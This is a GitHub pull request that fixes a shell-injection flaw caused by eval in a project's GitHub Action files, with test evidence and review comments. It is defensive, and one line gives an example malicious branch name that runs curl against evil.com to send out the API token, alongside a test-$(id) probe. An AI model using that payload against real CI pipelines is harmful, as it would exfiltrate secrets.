Skip to content

fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#31

Merged
jonathansantilli merged 4 commits intomainfrom
action/E-1815
Apr 8, 2026
Merged

fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#31
jonathansantilli merged 4 commits intomainfrom
action/E-1815

Conversation

@jonathansantilli
Copy link
Copy Markdown
Collaborator

@jonathansantilli jonathansantilli commented Apr 7, 2026

Summary

Fixes command injection (CWE-78) in both action.yml and review/action.yml:

  • Remove eval $MobbExecString — replace with bash array execution
  • Move all ${{ inputs.* }} from run: blocks to env: blocks
  • Remove echo "Mobb Command: ..." that printed api-key and github-token to logs
  • Replace bash -l {0} with bash
  • Quote all variable expansions (including $GITHUB_HEAD_REF)
  • Pin all action references to immutable commit SHAs
  • Extract URL from mobbdev CLI output to fix github-status-action

Security Context

review/action.yml builds a command string containing $GITHUB_HEAD_REF (the PR branch name) and secrets, then executes it via eval. A malicious branch name like test-$(curl${IFS}evil.com/${MOBB_API_TOKEN}) causes the eval to execute the embedded command, exfiltrating the Mobb API token.

This affects all 12 Mobb-Fixer-Demo repos that consume mobb-dev/action/review@v1.1.

The fix replaces eval with direct command execution using a bash array, and moves all secrets to env: blocks where bash treats them as data.

Consumer Impact

None. The action inputs: and outputs: are unchanged. This fix is transparent to all consumers.

Test plan

  • Create a branch named test-$(id) and open a PR to verify the injection no longer executes — PASSED (PR TEST: verify shell injection is blocked with branch name test-$(id) #32, no uid= in logs)
  • Run a normal workflow to verify Mobb review still generates fixes — PASSED
  • Run a normal workflow to verify Mobb analyze still generates fixes — PASSED
  • Verify fix-report-url output is set correctly — PASSED (valid Mobb URL extracted)
  • Check workflow logs to confirm no secrets are printed — PASSED (api-key masked as ***)

Security fix for command injection vulnerability (CWE-78) in both
action.yml and review/action.yml.

Changes:
- Remove eval — replace with bash array execution for safe invocation
- Move all ${{ inputs.* }} from run: blocks to env: blocks to prevent
  shell injection via attacker-controlled values
- Remove debug echo that printed API tokens and github-token to logs
- Replace bash -l {0} (login shell) with bash (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs:
  - actions/setup-node v3.6.0 -> v4.4.0 (SHA pinned)
  - actions/checkout v3 -> v4.3.1 (SHA pinned)
  - actions/upload-artifact v4 -> v4.6.2 (SHA pinned)
  - actions/download-artifact v4 -> v8.0.1 (SHA pinned)
  - Sibz/github-status-action v1 (SHA pinned)

The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.

Ref: E-1815
The mobbdev CLI now prefixes its output with status messages like
"🔌 [WebSocket Mode] Using WebSocket subscription..." before the URL.
This caused github-status-action to receive an invalid target_url,
failing with "Validation Failed".

Extract just the https:// URL from the output using grep, matching
the approach already used in codeql-mobb-fixer-action.

Ref: E-1815
@jonathansantilli
Copy link
Copy Markdown
Collaborator Author

Injection Test Evidence

To verify the shell injection fix, a branch named test-$(id) was pushed and a PR opened (#32, now closed).

How to verify

  1. Open the test workflow run: https://github.com/mobb-dev/action/actions/runs/24088193749/job/70266919477
  2. Click "Mobb action step" to expand it
  3. Look for these lines:

Line showing the branch name is passed as a quoted variable (safe):

BRANCH=${GITHUB_HEAD_REF:-${GITHUB_REF#refs/heads/}}
...
--ref "$BRANCH"

What you should NOT see (would mean injection succeeded):

uid=1001(runner) gid=1001(runner) groups=1001(runner)

What you DO see (Mobb ran normally, no injection):

✔ Vulnerability report processed successfully
🕵️‍♂️ Generating fixes...
Mobb URL: https://app.mobb.ai/.../report/11a0e5f6-...

Why this proves the fix works

If the old code (eval $MobbExecString with unquoted $GITHUB_HEAD_REF) were still present, the branch name test-$(id) would cause bash to execute id, and its output (uid=1001(runner)...) would appear in the logs and corrupt the --ref argument.

Instead, the branch name was treated as literal text, the Mobb CLI received it as a normal --ref value, and the workflow completed successfully with a valid fix URL.

Print REPO and BRANCH values so reviewers can verify that branch names
containing shell metacharacters (e.g. test-$(id)) are treated as literal
text and not executed.

Ref: E-1815
@jonathansantilli
Copy link
Copy Markdown
Collaborator Author

Updated Injection Test Evidence

Re-ran the test with added echo "BRANCH: $BRANCH" so the branch name value is visible in logs.

Direct link

Workflow run: https://github.com/mobb-dev/action/actions/runs/24089287238/job/70270851010
→ Expand "Mobb action step"

What the log shows

REPO: https://github.com/mobb-dev/action
BRANCH: test-$(id)

The branch name test-$(id) appears as literal text. Bash did not execute $(id).

What it would show if the vulnerability existed

BRANCH: test-uid=1001(runner) gid=1001(runner) groups=1001(runner)

Conclusion

The fix is verified. Branch names containing shell metacharacters are treated as data, not code.

Kirill89
Kirill89 previously approved these changes Apr 8, 2026
Move the last remaining ${{ github.event.* }} expression from run:
blocks to env: blocks. While PR numbers are integers (not injectable),
this ensures all github.event references consistently go through env
vars, making the pattern easier to audit and maintain.

Ref: E-1815
@github-actions
Copy link
Copy Markdown

github-actions bot commented Apr 8, 2026

image No security issues were found ✅

Awesome! No vulnerabilities were found by CodeQL in the changes made as part of this PR.
Please notice there are issues in this repo that are unrelated to this PR.

@jonathansantilli jonathansantilli merged commit a12bce4 into main Apr 8, 2026
4 checks passed
@jonathansantilli jonathansantilli deleted the action/E-1815 branch April 8, 2026 11:16
jonathansantilli added a commit that referenced this pull request Apr 8, 2026
jonathansantilli added a commit that referenced this pull request Apr 8, 2026
…-1815] (#35)

* Revert "fix: use env command for array execution to support inline var assignments (#33)"

This reverts commit bf76c59.

* Revert "fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815] (#31)"

This reverts commit a12bce4.

* fix: extract URL from mobbdev CLI output

The mobbdev CLI now prefixes its output with status messages like
"[WebSocket Mode] Using WebSocket subscription..." before the URL.
Extract just the https:// URL using grep.

Ref: E-1815
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants